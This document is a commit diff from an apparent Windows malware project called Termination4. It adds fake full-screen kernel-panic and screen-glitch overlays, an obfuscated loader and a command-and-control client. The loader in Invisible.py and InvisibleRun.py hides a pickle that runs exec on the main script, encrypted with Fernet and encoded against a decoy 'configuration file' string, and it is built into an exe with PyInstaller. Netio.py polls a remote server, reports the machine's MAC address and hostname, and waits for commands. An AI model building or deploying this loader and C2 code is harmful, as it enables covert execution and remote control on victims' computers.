Re-upload history

Errors/AppleBoot.py

@@ -0,0 +1,79 @@
+from random import randint
+from threading import Thread
+import tkinter as tk
+import time
+
+
+
+#异步装饰器
+def asyncs(f):
+    def wrapper(*args, **kwargs):
+        thr = Thread(target = f, args = args, kwargs = kwargs)
+        thr.start()
+    return wrapper
+
+
+def Start():
+    root = tk.Tk()
+    root.attributes('-transparentcolor','#f0f0f0')
+    screen_width = root.winfo_screenwidth()
+    screen_height = root.winfo_screenheight()
+    root.overrideredirect(True)
+    root.state("zoomed")
+    root.attributes('-topmost', True)
+    root.update()
+
+    def Text(text):
+        tk.Label(root,text=text,fg="#FFF",bg="#000",font=("Moder DOS 437",15)).pack(anchor="sw")
+    def FText():
+        tk.Label(root,text="",font=("Moder DOS 437",15)).pack(anchor="sw")
+    Text("Please contact the Voodoo Kernel Dev-Team with a photo of the Information printed below,")
+    Text("Along With a description of your system configuration and what you were doing at the time that")
+    Text("the kernel panic occurred. We appologize for the lnconvenience")
+    FText()
+    Text('Panic(CPU 0 Caller 0x001AC05E): "Windows Teacher Error"')
+    Text("Debugger Called: <Panic>")
+    Text("Backtrace (CPU 0),Frame : Return Address (4 potential ponies on stack)")
+    Text("0x14e1ffce68 : 0x12b08c (0xfffffffff 0xfffffffff 0xfffffffff)")
+    Text("0x14e1ffce69 : 0x12b07c (0xfffffffff 0xfffffffff 0xfffffffff)")
+    Text("0x14e1ffce70 : 0x12b05c (0xfffffffff 0xfffffffff 0xfffffffff)")
+    Text("0x14e1ffce23 : 0x12b0cc (0xfffffffff 0xfffffffff 0xfffffffff)")
+    Text("0x14e1ffcf35 : 0x12b0fc (0xfffffffff 0xfffffffff 0xfffffffff)")
+    Text("0x14e1ffcf90 : 0x12b0ac (0xfffffffff 0xfffffffff 0xfffffffff)")
+    Text("Backtrace terminated-invalid frame pointer 0")
+    FText()
+    Text("BSD process name corresponding to current thread: Unknown")
+    FText()
+    Text("Windows version:")
+    Text("Win 32/Run")
+    FText()
+    Text("Kernel version:")
+    Text("Win32 Kernel V3.2.5 / EFI Boot System V7")
+    inputlabel=tk.Label(root,text=" ",fg="#434343",bg="#434343",font=("Moder DOS 437",15))
+    inputlabel.pack(anchor="sw")
+
+    @asyncs
+    def forget():
+        for _ in range(10):
+            inputlabel.pack_forget()
+            time.sleep(0.3)
+            inputlabel.pack(anchor="sw")
+            time.sleep(0.3)
+        time.sleep(5)
+        root.destroy()
+    forget()
+    
+    @asyncs
+    def bg():
+        for _ in range(5):
+            time.sleep(0.1)
+            root["bg"]="#f0f0f0"
+            time.sleep(0.1)
+            root["bg"]="#000"
+            time.sleep(0.1)
+            root["bg"]="#f0f0f0"
+    bg()
+
+    root.mainloop()
+if __name__ == "__main__":
+    Start()

Errors/FlowerScreen.py

@@ -0,0 +1,73 @@
+from random import randint
+from threading import Thread
+import tkinter as tk
+import time
+ 
+
+def Start():
+    root = tk.Tk()
+    root.attributes('-transparentcolor','#f0f0f0')
+    screen_width = root.winfo_screenwidth()
+    screen_height = root.winfo_screenheight()
+    root.overrideredirect(True)
+    root.state("zoomed")
+    root.attributes('-topmost', True)
+    root.update()
+
+    def draw_line(canvas, x1, y1, x2, y2, color):
+        canvas.create_line(x1, y1, x2, y2, fill=color)
+    canvas = tk.Canvas(root, width=screen_width, height=screen_height)
+    canvas.pack()
+
+    root.withdraw()
+    for y in range(0, randint(300,400)):
+        color = f"#{randint(0, 0xFFFFFF):06x}"  # 随机生成颜色
+        draw_line(canvas, y, 1, y, screen_width, color)
+    for y in range(randint(500,600), 600):
+        color = f"#{randint(0, 0xFFFFFF):06x}"  # 随机生成颜色
+        draw_line(canvas, y, 1, y, screen_width, color)
+    for y in range(800, 1000):
+        color = f"#{randint(0, 0xFFFFFF):06x}"  # 随机生成颜色
+        draw_line(canvas, y, 1, y, screen_width, color)
+    for y in range(1200, 1500):
+        color = f"#{randint(0, 0xFFFFFF):06x}"  # 随机生成颜色
+        draw_line(canvas, y, 1, y, screen_width, color)
+    for y in range(2000, 3000):
+        color = f"#{randint(0, 0xFFFFFF):06x}"  # 随机生成颜色
+        draw_line(canvas, y, 1, y, screen_width, color)
+    for y in range(3500, 4000):
+        color = f"#{randint(0, 0xFFFFFF):06x}"  # 随机生成颜色
+        draw_line(canvas, y, 1, y, screen_width, color)
+    for y in range(4200, 10000):
+        color = f"#{randint(0, 0xFFFFFF):06x}"  # 随机生成颜色
+        draw_line(canvas, y, 1, y, screen_width, color)
+    root.update()
+    root.withdraw()
+    root.update()
+    time.sleep(0.2)
+    root.deiconify()
+    root.update()
+    time.sleep(0.2)
+    root.withdraw()
+    root.update()
+    time.sleep(0.1)
+    root.deiconify()
+    root.update()
+    time.sleep(0.1)
+    time.sleep(2)
+    root.withdraw()
+    root.update()
+    time.sleep(0.1)
+    root.deiconify()
+    root.update()
+    time.sleep(0.1)
+    root.withdraw()
+    root.update()
+    time.sleep(0.1)
+    root.deiconify()
+    root.update()
+    time.sleep(0.1)
+    root.withdraw()
+    root.update()
+if __name__ == "__main__":
+    Start()

Invisible/Invisible.py

@@ -0,0 +1,59 @@
+# pickle dump
+import pickle
+from cryptography.fernet import Fernet
+
+class FIO():
+    def openw(self, file, write, mode:int=1, encoding="UTF-8"):
+        if mode == 1:
+            with open(file, "w", encoding=encoding) as f:
+                f.write(write)
+        elif mode == 2:
+            with open(file, "wb") as f:
+                f.write(write)
+    def opena(self, file, write, mode:int=1, encoding="UTF-8"):
+        if mode == 1:
+            with open(file, "a", encoding=encoding) as f:
+                f.write(write)
+        elif mode == 2:
+            with open(file, "ab") as f:
+                f.write(write)
+    def openr(self, file, mode:int=1, encoding="UTF-8"):
+        if mode == 1:
+            with open(file, "r", encoding=encoding) as f:
+                read = f.read()
+        elif mode == 2:
+            with open(file, "rb") as f:
+                read = f.read()
+        return read
+FIO=FIO()
+
+shellcode = FIO.openr(r"C:\Users\Lenovo\Desktop\Termination4\Termination4.py")
+
+#cryptography 加密
+def EncryptTXT(ret):
+    key = Fernet.generate_key()
+    f = Fernet(key)
+    enc_pay = f.encrypt(bytes(bytearray(ret)))
+    return key, enc_pay.decode()
+
+def AC(R):
+    LC = "This is a configuration file please do not delete,configuration No 'bjABkmpxyz-RSUOPQVEFGHIJKLMWXYZ_3102qvw485CD967="
+    B = []
+    for i in R:
+        A = LC.index(str(i))
+        B.append(A)
+    return B
+
+#魔法函数
+class A(object):
+    def __reduce__(self):
+        return (exec, (shellcode,))
+
+
+ret = pickle.dumps(A())
+key,miwen = EncryptTXT(ret)
+arraykey = AC(str(key))
+arrayindex = AC(miwen)
+FIO.openw("./1", str(key))
+FIO.openw("./1.5", str(arraykey))
+FIO.openw("./2", str(arrayindex))

Invisible/InvisibleRun.py

@@ -0,0 +1,57 @@
+class sys():
+    from sys import argv, platform, executable, exit as exit
+class os():
+    from os import path, getenv, mkdir, getlogin, listdir, _exit, getpid, getppid, remove
+class traceback():
+    from traceback import format_exc
+class ctypes():
+    from ctypes import POINTER, c_ulong, c_char_p, c_int, c_void_p, windll, sizeof, Structure, byref, WinError
+    class wintypes():
+        from ctypes.wintypes import HANDLE, BOOL, DWORD, HWND, HINSTANCE, HKEY
+class winreg():
+    from winreg import OpenKey, HKEY_LOCAL_MACHINE, HKEY_CURRENT_USER, HKEY_USERS, SetValueEx, REG_SZ, CloseKey, DeleteKey, KEY_SET_VALUE, KEY_ALL_ACCESS,KEY_WRITE,KEY_CREATE_SUB_KEY
+class win32api():
+    from win32api import SetFileAttributes
+class requests():
+    from requests import post, get
+class subprocess():
+    from subprocess import list2cmdline, Popen, PIPE
+class time():
+    from time import localtime, strftime, sleep
+class socket():
+    from socket import gethostname
+class threading():
+    from threading import Thread
+class keyboard():
+    from keyboard import wait
+class hashlib():
+    from hashlib import md5
+class uuid():
+    from uuid import UUID, uuid1, uuid3, NAMESPACE_DNS
+class random():
+    from random import randint
+class shutil():
+    from shutil import copy
+class re():
+    from re import match
+class psutil():
+    from psutil import pid_exists, Process
+def GUUID():return str(uuid.uuid3(uuid.NAMESPACE_DNS, str(random.randint(0, 10000000000000000000))))
+class socketio():
+    from socketio import Client
+class atexit():
+    from atexit import register
+from pickle import loads
+from cryptography.fernet import Fernet
+
+LC = "This is a configuration file please do not delete,configuration No 'bjABkmpxyz-RSUOPQVEFGHIJKLMWXYZ_3102qvw485CD967="
+
+def J(B):
+    C = ""
+    for i in B:
+        C += LC[i]
+    return C
+I = [15, 70, 70, 70, 70, 70, 71, 12, 0, 86, 19, 90, 82, 12, 10, 10, 1, 114, 89, 75, 27, 107, 103, 78, 96, 101, 113, 90, 87, 112, 99, 104, 102, 114, 103, 88, 114, 26, 101, 109, 84, 95, 10, 68, 81, 75, 92, 10, 72, 27, 8, 104, 16, 11, 112, 80, 105, 97, 88, 11, 99, 12, 98, 91, 29, 1, 10, 16, 69, 110, 109, 101, 64, 99, 102, 92, 83, 19, 75, 111, 79, 113, 83, 77, 19, 89, 2, 101, 8, 79, 99, 83, 91, 95, 106, 94, 70, 77, 11, 26, 113, 77, 102, 85, 103, 94, 10, 17, 107, 70, 91, 36, 13, 3, 73, 19, 0, 85, 87, 106, 94, 1, 12, 2, 105, 87, 27, 12, 64, 16, 89, 15, 99, 78, 11, 83, 70, 13, 13, 89, 98, 27, 2, 80, 78, 85, 103, 103, 26, 105, 88, 103, 94, 17, 93, 100, 69, 105, 36, 109, 76, 77, 81, 90, 91, 96, 112, 72, 102, 96, 89, 98, 73, 89, 36, 87, 101, 11, 107, 76, 80, 113, 12, 29, 29, 29, 96, 27, 71, 82, 107, 80, 2, 84, 17, 91, 110, 83, 110, 114, 0, 16, 89, 104, 95, 79, 98, 85, 103, 13, 99, 92, 79, 27, 15, 77, 73, 3, 69, 100, 1, 93, 19, 0, 69, 68, 94, 113, 12, 81, 8, 92, 87, 106, 103, 36, 72, 105, 102, 26, 100, 108, 88, 85, 75, 26, 93, 103, 10, 94, 110, 114, 96, 77, 64, 83, 10, 92, 19, 68, 82, 82, 75, 107, 88, 88, 77, 17, 71, 2, 84, 80, 72, 110, 8, 96, 97, 83, 104, 11, 93, 75, 89, 64, 84, 102, 78, 87, 19, 29, 105, 82, 72, 112, 79, 93, 92, 113, 2, 80, 111, 16, 113, 3, 29, 89, 84, 29, 11, 84, 77, 85, 73, 94, 91, 72, 15, 29, 19, 99, 3, 90, 98, 114, 103, 76, 27, 76, 85, 82, 92, 76, 102, 100, 27, 78, 17, 91, 102, 107, 80, 27, 114, 3, 12, 15, 112, 78, 19, 19, 2, 72, 17, 93, 83, 83, 1, 17, 13, 78, 19, 81, 105, 1, 106, 12, 15, 11, 88, 26, 88, 76, 10, 27, 94, 100, 89, 97, 113, 100, 77, 68, 87, 72, 108, 112, 97, 70, 27, 71, 81, 79, 84, 15, 68, 103, 93, 92, 99, 19, 101, 110, 104, 26, 104, 17, 106, 104, 72, 76, 104, 84, 96, 8, 95, 79, 106, 113, 103, 114, 75, 83, 72, 29, 75, 94, 99, 103, 98, 103, 76, 114, 26, 101, 102, 17, 1, 97, 16, 3, 107, 102, 13, 106, 13, 72, 15, 106, 8, 68, 15, 109, 26, 106, 12, 27, 79, 93, 104, 29, 81, 19, 27, 95, 83, 113, 99, 13, 83, 0, 88, 88, 26, 88, 15, 10, 10, 72, 19, 111, 113, 102, 13, 70, 104, 79, 11, 8, 112, 91, 76, 100, 91, 84, 8, 13, 77, 69, 110, 97, 95, 94, 17, 100, 108, 29, 29, 107, 2, 79, 12, 102, 15, 111, 113, 87, 95, 76, 73, 89, 76, 94, 110, 91, 85, 105, 81, 76, 15, 100, 73, 84, 107, 69, 91, 75, 11, 88, 110, 79, 87, 92, 64, 97, 3, 17, 109, 104, 112, 90, 99, 68, 82, 75, 85, 84, 73, 90, 98, 77, 70, 114, 87, 64, 97, 79, 36, 113, 85, 105, 90, 36, 71, 64, 106, 15, 111, 29, 73, 79, 109, 108, 10, 105, 90, 103, 3, 2, 89, 114, 75, 71, 64, 16, 99, 3, 16, 94, 100, 102, 89, 17, 26, 73, 70, 102, 100, 72, 88, 29, 110, 11, 111, 92, 12, 97, 110, 82, 96, 29, 16, 0, 13, 72, 109, 72, 10, 98, 70, 89, 81, 17, 27, 104, 36, 70, 85, 97, 97, 82, 98, 8, 94, 92, 36, 108, 108, 73, 15, 36, 69, 13, 97, 1, 27, 36, 104, 8, 99, 26, 96, 1, 92, 71, 12, 11, 112, 13, 19, 64, 69, 77, 87, 102, 114, 0, 19, 93, 85, 103, 82, 97, 89, 98, 102, 26, 17, 13, 99, 99, 99, 105, 107, 111, 12, 86, 26, 98, 102, 93, 96, 95, 108, 83, 102, 79, 2, 13, 70, 107, 92, 83, 69, 12, 109, 10, 76, 27, 64, 26, 79, 71, 26, 78, 113, 64, 112, 91, 10, 27, 114, 96, 79, 103, 94, 16, 79, 69, 80, 72, 111, 13, 111, 100, 8, 113, 2, 110, 73, 92, 86, 99, 3, 114, 0, 10, 73, 89, 87, 87, 69, 13, 12, 3, 73, 88, 2, 104, 105, 108, 10, 113, 82, 98, 2, 19, 17, 75, 3, 72, 88, 110, 16, 19, 36, 112, 99, 107, 26, 73, 87, 91, 11, 15, 114, 1, 109, 110, 69, 8, 101, 91, 108, 87, 103, 89, 10, 93, 108, 109, 90, 15, 1, 84, 19, 94, 81, 107, 89, 2, 93, 82, 92, 106, 71, 85, 0, 15, 93, 98, 72, 1, 64, 96, 96, 103, 26, 97, 90, 73, 64, 108, 15, 99, 95, 68, 73, 94, 84, 95, 98, 90, 98, 98, 11, 19, 89, 112, 88, 68, 13, 84, 103, 17, 88, 100, 16, 13, 108, 86, 91, 89, 108, 68, 100, 112, 92, 12, 101, 17, 69, 94, 76, 95, 78, 98, 19, 77, 92, 98, 26, 113, 36, 12, 27, 73, 79, 101, 75, 12, 97, 101, 77, 102, 73, 73, 64, 72, 78, 27, 85, 80, 13, 19, 88, 17, 2, 86, 114, 83, 113, 64, 1, 64, 114, 88, 78, 93, 102, 0, 97, 95, 3, 80, 3, 109, 101, 17, 3, 10, 85, 11, 90, 26, 80, 0, 73, 109, 93, 11, 112, 8, 26, 91, 85, 106, 107, 19, 83, 70, 79, 12, 36, 104, 90, 107, 93, 84, 68, 8, 109, 95, 97, 86, 111, 86, 11, 105, 76, 97, 102, 105, 107, 17, 113, 96, 19, 0, 79, 94, 105, 108, 12, 106, 98, 78, 16, 88, 10, 19, 68, 95, 114, 81, 85, 93, 103, 17, 103, 3, 3, 27, 68, 103, 86, 85, 69, 81, 71, 11, 79, 81, 107, 29, 76, 109, 93, 82, 105, 96, 27, 97, 88, 96, 88, 84, 15, 76, 26, 82, 103, 29, 78, 103, 68, 80, 26, 98, 15, 97, 112, 69, 0, 16, 80, 36, 78, 86, 94, 111, 13, 19, 106, 82, 73, 15, 86, 99, 2, 97, 105, 103, 91, 88, 85, 92, 95, 91, 103, 71, 68, 85, 16, 0, 110, 77, 36, 102, 0, 11, 92, 69, 78, 72, 101, 93, 111, 11, 86, 107, 78, 104, 27, 8, 101, 68, 16, 70, 99, 3, 26, 94, 106, 71, 102, 92, 108, 75, 80, 12, 87, 36, 80, 107, 102, 79, 10, 107, 85, 93, 76, 101, 70, 114, 110, 100, 82, 114, 98, 82, 103, 10, 114, 99, 72, 99, 75, 82, 11, 102, 107, 16, 113, 106, 92, 29, 86, 77, 78, 2, 106, 89, 83, 3, 83, 0, 100, 86, 100, 75, 105, 73, 77, 106, 1, 95, 76, 88, 68, 72, 110, 36, 113, 19, 76, 26, 105, 85, 11, 97, 64, 15, 105, 109, 26, 36, 70, 113, 75, 97Line truncated
+
+K = b'kLI8WJFEStbBjUzGbxWqF44g-4ofqhdgPJIuujspB-s='
+shellcode=loads(Fernet(K).decrypt(bytes(J(I), encoding = "utf8")))

Invisible/InvisibleRun.spec

@@ -0,0 +1,38 @@
+# -*- mode: python ; coding: utf-8 -*-
+
+
+a = Analysis(
+    ['InvisibleRun.py'],
+    pathex=[],
+    binaries=[],
+    datas=[],
+    hiddenimports=[],
+    hookspath=[],
+    hooksconfig={},
+    runtime_hooks=[],
+    excludes=[],
+    noarchive=False,
+    optimize=0,
+)
+pyz = PYZ(a.pure)
+
+exe = EXE(
+    pyz,
+    a.scripts,
+    a.binaries,
+    a.datas,
+    [],
+    name='InvisibleRun',
+    debug=False,
+    bootloader_ignore_signals=False,
+    strip=False,
+    upx=True,
+    upx_exclude=[],
+    runtime_tmpdir=None,
+    console=True,
+    disable_windowed_traceback=False,
+    argv_emulation=False,
+    target_arch=None,
+    codesign_identity=None,
+    entitlements_file=None,
+)

Netio.py

@@ -0,0 +1,64 @@
+class NetworkProcessings(App):
+    def __init__(self, url):
+        self.headers = {'User-Agent':'Termination/4.0 (Termination4)'}
+        self.mac = uuid.uuid1().hex[-12:].upper()
+        self.url=url
+        self.sio, self.j=self.Try_To_System(self.url+"/host.json")
+        self.Polling()
+    def Polling(self):
+        self.sio.emit((f"{self.j["NetWork"]["Dir"]}{self.j["NetWork"]["Command"]}"), {"PID": 1, "MAC": self.mac, "Name": platform.node()})
+        @self.sio.on(f"{self.j["NetWork"]["Dir"]}{self.j["NetWork"]["CommandSend"]}")
+        def CommandSend(msg):
+            print(msg)
+    def send(self, route, sth):
+        self.sio.emit(route, sth)
+    def Post(self, url, data) -> str:
+        response = requests.post(url,data=data,headers=self.headers)
+        return response
+    def Get(self, url) -> str:
+        response = requests.get(url,headers=self.headers)
+        return response
+    def Wait_System(self, url, sleep=30):
+        while True:
+            c=self.Wait_Web(url)
+            print("WSC: ", c)
+            try:
+                c2=self.Get(c["Host"]+c["NetWork"]["Dir"]+c["NetWork"]["Test"])
+            except Exception as e:
+                print("WSE", e)
+            else:
+                if c2.status_code == 200:
+                    if c2.text == "OK":
+                        return c
+                    else:
+                        print("WS: C NOT OK C:", c2.text)
+            time.sleep(sleep)
+    def Wait_Web(self, url, sleep=30):
+        while True:
+            try:
+                c = self.Get(url)
+                print("WWC: ", c)
+            except Exception as e:
+                print("WWE", e)
+            else:
+                if c.status_code == 200:
+                    try:
+                        _=json.loads(c.text)
+                        if "CanConnect" in _ and _["CanConnect"] == True and "Host" in _:
+                            return _
+                        else:
+                            print("WW: if e", _)
+                    except:
+                        print("WWE: JSON")
+            time.sleep(sleep)
+    def Try_To_System(self, url, sleep=30):
+        while True:
+            c=self.Wait_System(url, sleep)
+            try:
+                self.sio=socketio.Client()
+                self.sio.connect(c["Host"])
+            except:
+                pass
+            else:
+                return self.sio, c
+            time.sleep(sleep)

SCRIPT/1.c

@@ -0,0 +1,26 @@
+#include <stdio.h>
+
+//writerul [RULFILE] saiblibc.lib golibc.lib [LABEL-_SAIBStartup]
+
+int main(int argc, char *argv[]) {
+	FILE *file = fopen(argv[1], "w");
+	if (file == NULL) {
+		printf("Error opening file %s\n", argv[1]);
+		return 1;
+	}
+
+	fprintf(file, "format:\n");
+	fprintf(file, "    code(align:1, logic:0x24,      file:0x24);\n");
+	fprintf(file, "    data(align:4, logic:stack_end, file:code_end);\n");
+	fprintf(file, "file:\n");
+	fprintf(file, "    %s;\n", argv[2]);
+	fprintf(file, "    %s;\n", argv[3]);
+	fprintf(file, "label:\n");
+	fprintf(file, "    %s;\n", argv[4]);
+
+	printf("Write Rul Finish\n");
+
+	fclose(file);
+
+    return 0;
+}

SCRIPT/1.ca

@@ -0,0 +1,26 @@
+#include <stdio.h>
+
+//writerul [RULFILE] saiblibc.lib golibc.lib [LABEL-_SAIBStartup]
+
+int main0(int argc, char *argv[]) {
+	FILE *file = fopen(argv[1], "w");
+	if (file == NULL) {
+		printf("Error opening file %s\n", argv[1]);
+		return 1;
+	}
+
+	fprintf(file, "format:\n");
+	fprintf(file, "    code(align:1, logic:0x24,      file:0x24);\n");
+	fprintf(file, "    data(align:4, logic:stack_end, file:code_end);\n");
+	fprintf(file, "file:\n");
+	fprintf(file, "    %s;\n", argv[2]);
+	fprintf(file, "    %s;\n", argv[3]);
+	fprintf(file, "label:\n");
+	fprintf(file, "    %s;\n", argv[4]);
+
+	printf("Write Rul Finish\n");
+
+	fclose(file);
+
+    return 0;
+}

SCRIPT/1.gas

@@ -0,0 +1 @@
+	.file	"1.ca"

SCRIPT/1.map

@@ -0,0 +1,192 @@
+Archive member included because of file (symbol)
+
+.\w32clibc.lib(startup.obj)   (mainCRTStartup)
+.\w32clibc.lib(malloc.obj)    .\w32clibc.lib(startup.obj) (malloc)
+.\w32clibc.lib(stdin.obj)     .\w32clibc.lib(startup.obj) (__stdin)
+.\libmingw.lib(ds00207.o)     .\w32clibc.lib(startup.obj) (GetCommandLineA@0)
+.\libmingw.lib(ds00342.o)     .\w32clibc.lib(startup.obj) (GetStdHandle@4)
+.\libmingw.lib(ds00130.o)     .\w32clibc.lib(startup.obj) (ExitProcess@4)
+.\libmingw.lib(ds00323.o)     .\w32clibc.lib(malloc.obj) (GetProcessHeap@0)
+.\libmingw.lib(ds00415.o)     .\w32clibc.lib(malloc.obj) (HeapAlloc@12)
+.\libmingw.lib(dh.o)          .\libmingw.lib(ds00207.o) (_head_libkernel32_a)
+.\libmingw.lib(dt.o)          .\libmingw.lib(dh.o) (_libkernel32_a_iname)
+
+Memory Configuration
+
+Name             Origin             Length             Attributes
+*default*        0x00000000         0xffffffff
+
+Linker script and memory map
+
+                0x00400000                __image_base__ = 0x400000
+                0x00000000                __dll__ = 0x0
+                0x00001000                __section_alignment__ = 0x1000
+                0x00000200                __file_alignment__ = 0x200
+                0x00000004                __major_os_version__ = 0x4
+                0x00000000                __minor_os_version__ = 0x0
+                0x00000001                __major_image_version__ = 0x1
+                0x00000000                __minor_image_version__ = 0x0
+                0x00000004                __major_subsystem_version__ = 0x4
+                0x00000000                __minor_subsystem_version__ = 0x0
+                0x00000003                __subsystem__ = 0x3
+                0x01000000                __size_of_stack_reserve__ = 0x1000000
+                0x00001000                __size_of_stack_commit__ = 0x1000
+                0x00100000                __size_of_heap_reserve__ = 0x100000
+                0x00001000                __size_of_heap_commit__ = 0x1000
+                0x00000000                __loader_flags__ = 0x0
+LOAD 1.obj
+LOAD .\w32clibc.lib
+LOAD .\golibc.lib
+LOAD .\libmingw.lib
+
+.text           0x00401000      0x200
+ *(.init)
+ *(.text)
+ .text          0x00401000       0xf3 .\w32clibc.lib(startup.obj)
+                0x004010b1                mainCRTStartup
+ .text          0x004010f3       0x15 .\w32clibc.lib(malloc.obj)
+                0x004010f3                malloc
+ *fill*         0x00401108        0x8 00
+ .text          0x00401110        0x8 .\libmingw.lib(ds00207.o)
+                0x00401110                GetCommandLineA@0
+ *fill*         0x00401118        0x8 00
+ .text          0x00401120        0x8 .\libmingw.lib(ds00342.o)
+                0x00401120                GetStdHandle@4
+ *fill*         0x00401128        0x8 00
+ .text          0x00401130        0x8 .\libmingw.lib(ds00130.o)
+                0x00401130                ExitProcess@4
+ *fill*         0x00401138        0x8 00
+ .text          0x00401140        0x8 .\libmingw.lib(ds00323.o)
+                0x00401140                GetProcessHeap@0
+ *fill*         0x00401148        0x8 00
+ .text          0x00401150        0x8 .\libmingw.lib(ds00415.o)
+                0x00401150                HeapAlloc@12
+ *fill*         0x00401158        0x8 00
+ *(SORT(.text$*))
+ *(.glue_7t)
+ *(.glue_7)
+                0x00401160                ___CTOR_LIST__ = .
+                0x00401160                __CTOR_LIST__ = .
+                0x00401160        0x4 LONG 0xffffffff
+ *(SORT(.ctors.*))
+ *(.ctors)
+ *(.ctor)
+                0x00401164        0x4 LONG 0x0
+                0x00401168                ___DTOR_LIST__ = .
+                0x00401168                __DTOR_LIST__ = .
+                0x00401168        0x4 LONG 0xffffffff
+ *(SORT(.dtors.*))
+ *(.dtors)
+ *(.dtor)
+                0x0040116c        0x4 LONG 0x0
+ *(.fini)
+ *(.gcc_exc)
+                0x00401170                etext = .
+ *(.gcc_except_table)
+
+.data           0x00402000      0x200
+                0x00402000                __data_start__ = .
+ *(.data)
+ .data          0x00402000       0x24 .\w32clibc.lib(stdin.obj)
+                0x00402018                __stderr
+                0x0040200c                __stdout
+                0x00402000                __stdin
+ *fill*         0x00402024        0xc 00
+ *(.data2)
+ *(SORT(.data$*))
+                0x00402030                __data_end__ = .
+ *(.data_cygwin_nocopy)
+
+.rdata
+ *(.rdata)
+ *(SORT(.rdata$*))
+ *(.eh_frame)
+
+.pdata
+ *(.pdata)
+
+.bss            0x00403000        0x0
+                0x00403000                __bss_start__ = .
+ *(.bss)
+ *(COMMON)
+                0x00403000                __bss_end__ = .
+
+.edata
+ *(.edata)
+
+/DISCARD/
+ *(.debug$S)
+ *(.debug$T)
+ *(.debug$F)
+ *(.drectve)
+
+.idata          0x00403000      0x200
+ SORT(*)(.idata$2)
+ .idata$2       0x00403000       0x14 .\libmingw.lib(dh.o)
+                0x00403000                _head_libkernel32_a
+ SORT(*)(.idata$3)
+                0x00403014        0x4 LONG 0x0
+                0x00403018        0x4 LONG 0x0
+                0x0040301c        0x4 LONG 0x0
+                0x00403020        0x4 LONG 0x0
+                0x00403024        0x4 LONG 0x0
+ SORT(*)(.idata$4)
+ .idata$4       0x00403028        0x4 .\libmingw.lib(dh.o)
+ .idata$4       0x0040302c        0x4 .\libmingw.lib(ds00130.o)
+ .idata$4       0x00403030        0x4 .\libmingw.lib(ds00207.o)
+ .idata$4       0x00403034        0x4 .\libmingw.lib(ds00323.o)
+ .idata$4       0x00403038        0x4 .\libmingw.lib(ds00342.o)
+ .idata$4       0x0040303c        0x4 .\libmingw.lib(ds00415.o)
+ .idata$4       0x00403040        0x4 .\libmingw.lib(dt.o)
+ SORT(*)(.idata$5)
+ .idata$5       0x00403044        0x4 .\libmingw.lib(dh.o)
+ .idata$5       0x00403048        0x4 .\libmingw.lib(ds00130.o)
+                0x00403048                _imp__ExitProcess@4
+ .idata$5       0x0040304c        0x4 .\libmingw.lib(ds00207.o)
+                0x0040304c                _imp__GetCommandLineA@0
+ .idata$5       0x00403050        0x4 .\libmingw.lib(ds00323.o)
+                0x00403050                _imp__GetProcessHeap@0
+ .idata$5       0x00403054        0x4 .\libmingw.lib(ds00342.o)
+                0x00403054                _imp__GetStdHandle@4
+ .idata$5       0x00403058        0x4 .\libmingw.lib(ds00415.o)
+                0x00403058                _imp__HeapAlloc@12
+ .idata$5       0x0040305c        0x4 .\libmingw.lib(dt.o)
+ SORT(*)(.idata$6)
+ .idata$6       0x00403060        0xe .\libmingw.lib(ds00130.o)
+ *fill*         0x0040306e        0x2 00
+ .idata$6       0x00403070       0x12 .\libmingw.lib(ds00207.o)
+ *fill*         0x00403082        0x2 00
+ .idata$6       0x00403084       0x12 .\libmingw.lib(ds00323.o)
+ *fill*         0x00403096        0x2 00
+ .idata$6       0x00403098       0x10 .\libmingw.lib(ds00342.o)
+ .idata$6       0x004030a8        0xc .\libmingw.lib(ds00415.o)
+ SORT(*)(.idata$7)
+ .idata$7       0x004030b4        0x4 .\libmingw.lib(ds00130.o)
+ .idata$7       0x004030b8        0x4 .\libmingw.lib(ds00207.o)
+ .idata$7       0x004030bc        0x4 .\libmingw.lib(ds00323.o)
+ .idata$7       0x004030c0        0x4 .\libmingw.lib(ds00342.o)
+ .idata$7       0x004030c4        0x4 .\libmingw.lib(ds00415.o)
+ .idata$7       0x004030c8       0x10 .\libmingw.lib(dt.o)
+                0x004030c8                _libkernel32_a_iname
+
+.CRT
+ *(SORT(.CRT$*))
+
+.endjunk        0x00404000        0x0
+                0x00404000                end = .
+                0x00404000                _end = .
+                0x00404000                __end__ = .
+
+.rsrc
+ *(.rsrc)
+ *(SORT(.rsrc$*))
+
+.reloc
+ *(.reloc)
+
+.stab
+ *(.stab)
+
+.stabstr
+ *(.stabstr)
+OUTPUT(1.exe pei-i386)

SCRIPT/1.nas

@@ -0,0 +1,6 @@
+[FORMAT "WCOFF"]
+[INSTRSET "i486p"]
+[OPTIMIZE 1]
+[OPTION 1]
+[BITS 32]
+[FILE "1.ca"]

SCRIPT/MAKE.BAT

@@ -0,0 +1,5 @@
+sjisconv.exe -s 1.c 1.ca
+cc1.exe -I.\ -Dmain=main0 -Os -Wall -quiet -o 1.gas 1.ca
+gas2nask.exe -a 1.gas 1.nas
+nask.exe 1.nas 1.obj
+ld.exe -s -Bdynamic --stack 0x1000000 -o 1.exe -Map 1.map 1.obj .\w32clibc.lib .\golibc.lib .\libmingw.lib

TEST.spec

@@ -0,0 +1,38 @@
+# -*- mode: python ; coding: utf-8 -*-
+
+
+a = Analysis(
+    ['TEST.PY'],
+    pathex=[],
+    binaries=[],
+    datas=[],
+    hiddenimports=[],
+    hookspath=[],
+    hooksconfig={},
+    runtime_hooks=[],
+    excludes=[],
+    noarchive=False,
+    optimize=0,
+)
+pyz = PYZ(a.pure)
+
+exe = EXE(
+    pyz,
+    a.scripts,
+    a.binaries,
+    a.datas,
+    [],
+    name='TEST',
+    debug=False,
+    bootloader_ignore_signals=False,
+    strip=False,
+    upx=True,
+    upx_exclude=[],
+    runtime_tmpdir=None,
+    console=True,
+    disable_windowed_traceback=False,
+    argv_emulation=False,
+    target_arch=None,
+    codesign_identity=None,
+    entitlements_file=None,
+)

Termination4.py

@@ -0,0 +1,607 @@
+class sys():
+    from sys import argv, platform, executable, exit as exit
+class os():
+    from os import path, getenv, mkdir, getlogin, listdir, _exit, getpid, getppid, remove, popen, chmod
+class traceback():
+    from traceback import format_exc
+class ctypes():
+    from ctypes import POINTER, c_ulong, c_char_p, c_int, c_void_p, windll, sizeof, Structure, byref, WinError
+    class wintypes():
+        from ctypes.wintypes import HANDLE, BOOL, DWORD, HWND, HINSTANCE, HKEY
+class winreg():
